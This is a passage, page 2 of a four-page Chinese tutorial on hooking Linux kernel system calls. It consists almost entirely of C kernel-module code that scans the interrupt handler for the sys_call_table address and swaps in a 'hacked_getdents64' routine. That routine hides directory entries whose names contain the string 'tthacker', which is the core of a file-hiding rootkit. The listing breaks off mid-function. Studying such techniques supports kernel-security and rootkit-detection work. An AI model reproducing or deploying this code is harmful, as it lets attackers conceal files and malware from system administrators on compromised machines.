设为首页 加入收藏

TOP

Linux内核Hook系统调用(二)
2014-11-24 03:24:54 来源: 作者: 【 】 浏览:4
Tags:Linux 内核 Hook 系统 调用
_getdents64)(unsigned int, void *, unsigned int);
struct descriptor_idt
{
unsigned short offset_low;
unsigned short ignore1;
unsigned short ignore2;
unsigned short offset_high;
};

static struct {
unsigned short limit;
unsigned long base;
}__attribute__ ((packed)) idt48;

char *hide="tthacker";

static unsigned int SYS_CALL_TABLE_ADDR;
void **sys_call_table;

int base_system_call;

unsigned char opcode_call[3]={0xff,0x14,0x85};

int match(unsigned char *source)
{
int i;
for(i=0;i<3;i++){
if(source[i] != opcode_call[i])
return 0;
}
return 1;
}
asmlinkage long hacked_getdents64(unsigned int fd, void *dirp, unsigned int count)
{
int ret;
int proc = 0;
struct inode *dinode;
char *ptr = (char *)dirp;
struct linux_dirent64 *curr;
struct linux_dirent64 *prev = NULL;
ret = (*orig_getdents64)(fd, dirp, count);
if(ret <= 0) return ret;

dinode = current->files->fd[fd]->f_dentry->d_inode;

/*
if(dinode->i_ino == PROC_ROOT_INO && MAJOR(dinode->i_dev) == proc_major_dev &&
MINOR(dinode->i_dev) == proc_minor_dev)
proc++;
*/
while(ptr < (char *)dirp + ret)
{
curr = (struct linux_dirent64 *)ptr;

if(strstr(curr->d_name,hide)!=NULL )
{
if(curr == dirp)
{
ret -= curr->d_reclen;
memmove(ptr + curr->d_reclen, ptr, ret);
continue;
}
else
prev->d_reclen += curr->d_reclen;
}
else
prev = curr;

ptr += curr->d_reclen;
}

return ret;
}
int get_sys_call_table(void)
{
int i,j;
unsigned char *ins=(unsigned char *)base_system_call;
unsigned int sct;

for(i=0;i<100;i++){
if(ins[i]==opcode_call[0]){
if(match(ins+i)){
sct=*((unsigned int *)(ins+3+i));
printk(KERN_ALERT "sys_call_tabl's address is
0x%X\n",sct);
return sct;
首页 上一页 1 2 3 4 下一页 尾页 2/4/4
】【打印繁体】【投稿】【收藏】 【推荐】【举报】【评论】 【关闭】 【返回顶部
分享到: 
上一篇通用编程语言 Gosu 下一篇Linux高级内核Inline HOOK

评论

帐  号: 密码: (新用户注册)
验 证 码:
表  情:
内  容:

·常用meta整理 | 菜鸟 (2025-12-25 01:21:52)
·SQL HAVING 子句:深 (2025-12-25 01:21:47)
·SQL CREATE INDEX 语 (2025-12-25 01:21:45)
·Shell 传递参数 (2025-12-25 00:50:45)
·Linux echo 命令 - (2025-12-25 00:50:43)